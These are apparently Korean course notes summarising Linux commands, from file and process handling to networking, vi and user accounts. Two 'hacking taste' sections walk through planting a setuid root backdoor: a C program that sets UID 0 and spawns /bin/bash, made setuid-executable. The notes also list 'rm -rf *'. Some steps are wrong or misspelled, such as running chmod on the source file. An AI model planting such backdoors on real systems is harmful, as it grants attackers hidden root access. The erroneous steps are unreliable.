1. 1 | P a g e
1. 종료
shutdownˇ–hˇnow↵ 컴퓨터 지금 끄기
shutdownˇ–hˇ+10↵ 10분 후 끄기
shutdownˇ–rˇnow↵ 지금 바로 껐다 켜기
shutdownˇ–rˇ+10↵ 10분 후 껐다 켜기
shutdownˇ+10↵ 10분후 끄기
shutdownˇ–c↵ 종료/재부팅 취소
<실습순서>
1. Ctrl+Alt+F2(첫화면)에서 명령어 입력
shutdownˇ–hˇ+100↵ : 100분 후 끄기
여기서 Ctrl+c로 취소가능.
2. Ctrl+Alt+F3(빈화면)에서 명령어 취소
Shutdownˇ–c↵
3. Ctrl+Alt+F2(첫화면)으로 돌아가서 확인
| (파이프) : 명령어 여러개 쓸때.
ex) 명령어 | 명령어↵ : 앞 프로그램의 결과를 뒤 프
로그램의 명령어로 전달
>:정상내용 저장 >> : 정상내용 추가
2>:오류내용 저장 2>>:오류내용 추가
ex) lsˇ-alˇ>ˇkkk↵ : 파일내역을 kkk로 저장
lsˇ-alˇ>>ˇkkk↵ : 내용 추가
cleˇ2>ˇabc↵
: cle(없는 명령어)오류내용을 abc로 저장
clear↵ : 화면지우기
↑ : 이전에 입력한 명령어 보여줌
Tap : 명령어,파일이름 자동완성
historyˇ|ˇmore↵ : 입력한 명령어 목록
!숫자↵ : 명령어목록 숫자에 해당하는 명령어 실행
2. Linux Command
- pwd : 현재 경로 보기(지금 내 위치) ex) pwd ↵
- cd : 이동하기
ex) cdˇ/tmp ↵ (절대경로) 상위폴더 아래 tmp폴더로 이동
cdˇ./../tmp ↵ (상대경로) 내 폴더에서 상위폴더로 가서 /tmp로
이동
※절대경로와 상대경로
-절대경로 : /(최상위)부터 시작
-상대경로 : . (내 위치)부터 시작 .. 은 상위 디렉토리
- ls : 파일 내역 보기
ex) ls↵ : 현재 위치 폴더의 파일 내역 보기
lsˇ-al ↵ : 자세히 보기(.숨김파일도 보여줌)
lsˇ-alˇ/root ↵ : /root의 파일 내역 자세히 보기
lsˇ--full-timeˇabc ↵: abc파일의 자세한 시간까지보기
- cat : 파일 내용 보기, 파일 만들기, 파일 내용 수정
ex) catˇ파일이름 ↵ : 파일(문서일 경우) 내용 보기
ex) catˇ>ˇ파일이름↵ : 새로운 파일 만들고 내용입력
내용입력후 Ctrl+d로 빠져나옴
cat ˇ>>ˇ파일이름 ↵ : 파일 내용 추가
내용입력후 Ctrl+d로 빠져나옴
-mkdir : 디렉토리 만들기 ex) mkdirˇ디렉토리 이름↵
-touch : 내용없는 파일 만들기, 파일 시간 변경하기
ex) touchˇ파일이름 ↵
ex) touchˇ-rˇabcˇbbc ↵
: abc파일과 같은 시간으로 bbc파일 시간 변경
ex) touchˇ-tˇ1409241134ˇabc ↵
: 14년09월24일11시34분으로 변경
Linux 명령어 요약
2. 2 | P a g e
- cp : 파일이나 디렉토리 복사하기
ex) cpˇ/tmp/abcˇ/root/bbc↵ : /tmp의 abc파일을
/root에 bbc로(이름을 바꿔서)복사
※ 디렉토리 복사시엔 -rf 옵션 넣어줘야 함!
- mv : 파일 이동하기
ex) mvˇ/tmp/abcˇ/root/abc↵
: /tmp의 abc파일을 /root에 이동
※ cp와 mv의 차이
cp는 원본이 남고 사본이 또 생성 (명령 후 abc, bbc 두 개)
mv는 원본 자체가 이동되므로 이전의 폴더에 원본이 없음(abc)
- rm : 파일이나 디렉토리 삭제하기
ex) rmˇ-rfˇ파일이나 디렉토리 이름↵
rmˇ-rfˇ* ↵ : 현재 폴더 파일 모두 삭제
- head : 파일 내용 처음부터 10 줄 출력
ex) headˇ/etc/passwd↵
- tail : 파일 내용 마지막부터 10 줄 출력
ex) tailˇ/etc/passwd↵
- more : 파일 내용 화면단위로 출력
ex) ※ 화면에 무언가 보여주는 명령어 | more 로
주로 쓰임
catˇ/etc/passwdˇ|ˇmore↵
lsˇ-alˇ|ˇmore↵
findˇ|ˇmore↵
-Grep : 해당문자 포함된 내용 검색
ex) grepˇrootˇ/etc/passwd↵
: /etc/passwd에서 root가 있는 내용을 보여줌.
화면에 결과를 보여주는 명령어(cat,find 등)와 함께
catˇ/etc/passwdˇ|ˇgrepˇroot↵
- rdate : 시간 조회 및 시스템 시간 변경
ex) rdateˇ-pˇtime.bora.net↵
: kt가 운영하는 타임 서버 시간 조회
rdateˇ-sˇntp.ewha.net↵
: 이화여대의 타임서버 시간과 시스템 시간 동기화
- date : 내 컴퓨터의 시간 보는 명령어 ex) date↵
- tzselect : time zone select(VM ware 안에선 안됨)
※cpˇ/usr/share/zoneinfo/Asia/Seoulˇ/etc/localtime↵ 후
y↵ 로 설정.
-ln : 링크 파일
ex) lnˇ원본파일명ˇ하드링크파일명↵
lnˇabcˇhabc↵ : abc로 하드링크파일 habc생성
lnˇ-sˇ원본파일명ˇ심볼릭링크파일명
lnˇ-sˇabcˇsabc↵ : abc로 심볼릭링크파일 sabc생성
※하드링크
1. 하드링크는 원본내용이 수정되면 수정된 내용으로 업뎃
2. 원본이 지워져도 찾아갈 수 있음.
3.아무리 많이 만들어도 원본데이터는 1개일뿐
inode라는 끈만 많이 만들어냄
3. 3 | P a g e
3. 시스템해킹에서 자주 쓰이는 명령어
- find : 파일 찾기
– name : 파일명으로 검색
ex) findˇ/ˇ-nameˇa* ↵
: 최상위부터 파일명이 a로 시작하는 모든 파일
※파일명 검색시 유의점
ab? : 한글자를 모를 경우
a? : a로 시작하는 두글자, 검색 안되면 ‘a?’
– user : 유저명으로 검색
ex) findˇ/ˇ-userˇid↵ : 최상위부터 id로 된 파일 검색.
– perm : 권한으로 검색
ex) findˇ/ˇ-permˇ777↵ : 권한이 777인 파일 검색
– size : 파일크기로 검색
<해킹 맛보기> cat 사용 Backdoor
1.catˇ>ˇback.c↵
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system(“/bin/bash”);
} ctrl+d로 빠져나옴
2.gccˇ-oˇbackˇback.c↵ : 컴파일
3.chmodˇ4777ˇback.c↵ : 권한변경
4.useraddˇhacker↵ : id추가
paswdˇhacker↵ : password설정
5.exit↵ : 종료 후 haker로 로그인
6.cdˇ/tmp↵ : /tmp폴더로 이동 후
7. ./back : 현재 위치에서 back실행
->$가 #로 바뀜.(hacker가 root가 됨)
4. 네트워크 상 명령어
- ping : 인터넷이 되는지 확인
ex) pingˇ8.8.8.8↵ : 구글에 신호를 보내 돌아오는지
확인.
– ifconfig : 네트워크 IP 설정
ex) ifconfig↵ : eth0의 inet addr에서 ip주소 확인.
ifconfigˇeth0ˇdown↵ : 인터넷 사용X
ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵ :사용
– route : 게이트웨이 설정
ex) route ↵ : default 옆 게이트웨이 값보기
routeˇdelˇdefaultˇgwˇ게이트웨이값↵ : 삭제
routeˇaddˇdefaultˇgwˇ게이트웨이값↵ :추가
– dhclient : 공유기에서 ip주소를 받아와 자동설정
※인터넷 안 될때(자동설정 후에도 안되면,)
1. killallˇdhclient↵ : 자동설정 끄기
2. dhclient ↵ : 다시 자동설정
<실습순서>
1. pingˇ8.8.8.8↵ : 구글로 신호 보냄
2. dhclient↵ : 공유기에서 ip주소 받아 자동설정
3. ifconfig↵ : IP주소 확인
4. ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵
ip주소를 8.8.8.8로, netmask를 255.255.255.0으로 설정
(인터넷이 되려면 ip주소는 ifconfig에서 확인한 eth0의 값으
로해야함)
4. 4 | P a g e
5. 고급명령어
-useradd : 계정 생성
ex) useraddˇ계정명↵
useraddˇ-uˇ2000ˇ-gˇanimalˇmonkey↵
: uid는 2000, 그룹은 animal인 monkey계정 생성
-passwd : 패스워드 변경
ex) passwdˇ계정명↵ : 계정의 패스워드 변경(root만)
passwd↵ : 자신의 패스워드 변경
-usermod : 계정수정
ex) usermodˇ-uˇ1000ˇcat↵
: cat계정의 UID를 1000번으로 변경
usermodˇ-gˇdogˇcat↵
: cat계정을 dog그룹으로 변경
※groupˇid↵ : id가 어느 그룹에 속해있는지 확인
-userdel : 계정삭제
ex) userdelˇ-rfˇcat↵
※-rf옵션을 써야 깔끔하게 삭제
root만 가능!
-chmod : 파일 권한변경
ex) chmodˇ777ˇcat↵
:cat파일을 읽고 쓰고 실행 가능하게 변경
-chown : 파일 소유권 변경
ex) chownˇ소유자.소유그룹ˇ파일명↵
:소유그룹이름앞에 . 조심!
-su : 다른 사용자의 권한 빌림
ex) suˇid↵ : 권한만 빌림, 환경변수는X
suˇ-ˇid↵ : 환경변수까지 가져와 사용
6. process management
<실습순서>
1. pingˇ8.8.8.8↵ : ping작업 실행
2. ctrl+z : 정지
3. jobs↵ : 백그라운드 작업 보기
[ ]안의 숫자가 작업번호
fgˇ%작업번호↵ : 작업 다시 포그라운드로 실행
ctrl+z : 정지
4. ps↵ : 현 프로세스 조회
ex) psˇ-ef↵ : 간단히 살펴볼때
psˇ-aux↵ : 자세히 살펴볼때
프로세스의 PID 번호 확인
psˇ-auxˇ|ˇgrepˇping↵ : ping의 PID확인
5. killˇ-9ˇPID번호↵ : 해당 PID의 프로세스 종료
※ping을 실행하며 종료확인(종료실습과 비슷)
순서는 1->ctrl+alt+F3->4->5->ctrl+alt+F2
-CPU 정보
uname↵ : Linux가 나옴
unameˇ-p↵ : i686은 펜티엄4
unameˇ-a↵ : 커널의 버전 확인
-메모리 정보
freeˇ-m↵:MB단위로 바꿔서 보여줌
-프로세스 정보
pstree↵ : 각 프로세스의 부모자식 관계도
-프로세스별 CPU와 메모리 점유율
top↵ : 점유율 큰 순으로 상위에 보여줌
-시스템에 연결된 정보
netstat↵
netstatˇ-ntlp↵
-최근 시스템 접속 정보
last↵ : 누가 내 컴퓨터에 들어와서 서비스를 받았는지 확인
5. 5 | P a g e
7.vi editor
- viˇ파일명↵ : 파일이 존재하면 명령모드로 열고
존재하지 않으면 새로 만들어 명령모드로 실행
- i : 입력모드로 변경
입력모드 안-------------------------------------------
- x : 커서 위치 문자 삭제
- dd : 현재 커서 행 삭제(2줄 삭제 2dd)
- yy : 현재 커서 라인 복사(2줄 복사 2yy)
- p : 복사한 내용 붙여넣기
- u : 되돌리기
- esc : 명령모드로
명령모드 안------------------------------------------
-:q↵ : 종료(무변경)
-:q!↵ : 강제종료(무변경)
-:w↵ : 저장
-:wq↵ :파일 저장 후 종료
실행모드 안-------------------------------------------
-:!↵ : 커서 위치에서 입력 모드 변경(!는 강제성 지님)
ex) : !ˇlsˇ-al↵ : vi실행 중 종료하지 않고 명령어 실행.
명령어 실행 후 엔터치면 다시 vi로 돌아옴
<해킹 맛보기> vi 사용 Backdoor
1.viˇbackdoor.c↵
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system(“/bin/bash”);
}
esc키 누르고 명령어모드에서 :wq↵ 로 저장하고 빠져나옴
2.gccˇ-oˇbackdoorˇbackdoor.c↵ : 컴파일
3.chmodˇ4777ˇback.c↵ : 권한변경
4.suˇhacker↵ : id잠깐 빌림
root사용자는 다른 사용자 권한 빌릴때 pw안물
5.cdˇ/tmp↵ : /tmp폴더로 이동 후
6. ./backdoor : 현재 위치에서 backdoor실행
->$가 #로 바뀜.(hacker가 root가 됨)
7. exit↵ : 첫번째 exit는 backdoor 종료. exit↵ :두번째는 su종료
8. 환경변수 등
cdˇ/etc/skel/↵ : 기본적인 환경 setting 보여줌
-alias : 별명.(로그아웃시 모두 삭제됨)
ex) aliasˇzz='ls -l'↵ : 명령어에 별명 zz를 달아 zz입
력시 ls –l의 결과값을 보여주도록 함.
-PATH : 리눅스에서 어떤 파일 실행하려고 할 때, 해
당 디렉토리에 들어가서 실행해야 하지만, 해당 디렉
토리를 PATH로 지정하게 되면 어디서나 그 디렉토리
파일을 실행할 수 있다.
ex) echoˇ$PATH↵ : PATH에 등록된 경로들을 : 으로 구분
해서 보여줌
PATH=$PATH:/tmp↵ :/tmp를 PATH에 추가
※로그아웃시 모두 삭제 되므로
전체 사용자에게 추가 : /etc/profile 편집
특정 사용자에게 추가 : ~/.bash_profile
-echo :뭔가를 보여주는(출력) 명령어
ex) echoˇSHELL↵ : SHELL(문자열) 출력
echoˇ$SHELL↵ : SHELL이라는 변수에 담긴 값을 출력,
/bin/bash가 출력됨. (cat으로 문서내용보는것 연상)
echoˇ$?↵ : 명령어 입력후 echoˇ$?↵로 사용한 명령어가
제대로 작동 되었는지 확인할 수 있음. 0출력시 정상.
echoˇ$LANG↵ : en_US.UTF-8 환경변수 언어 보여줌
LANG=KO↵ :KO로 변경, 안되면 exportˇLANG=KO↵
9. Package Install 등
rpmˇ-qaˇ패키지이름↵ : 패키지가 설치되었는지 확인
패키지이름을 다 모를경우 좀 적고 뒤에 *처리
yumˇ-yˇinstallˇ패키지이름↵ : 패키지를 인터넷을 통하여
자동 설치. –y는 모두 ‘예’ 자동으로 누르겠다는
yumˇserchˇ패키지이름↵ : 패키지 검색
ex) yumˇserchˇhttpd↵ : httpd 패키지 검색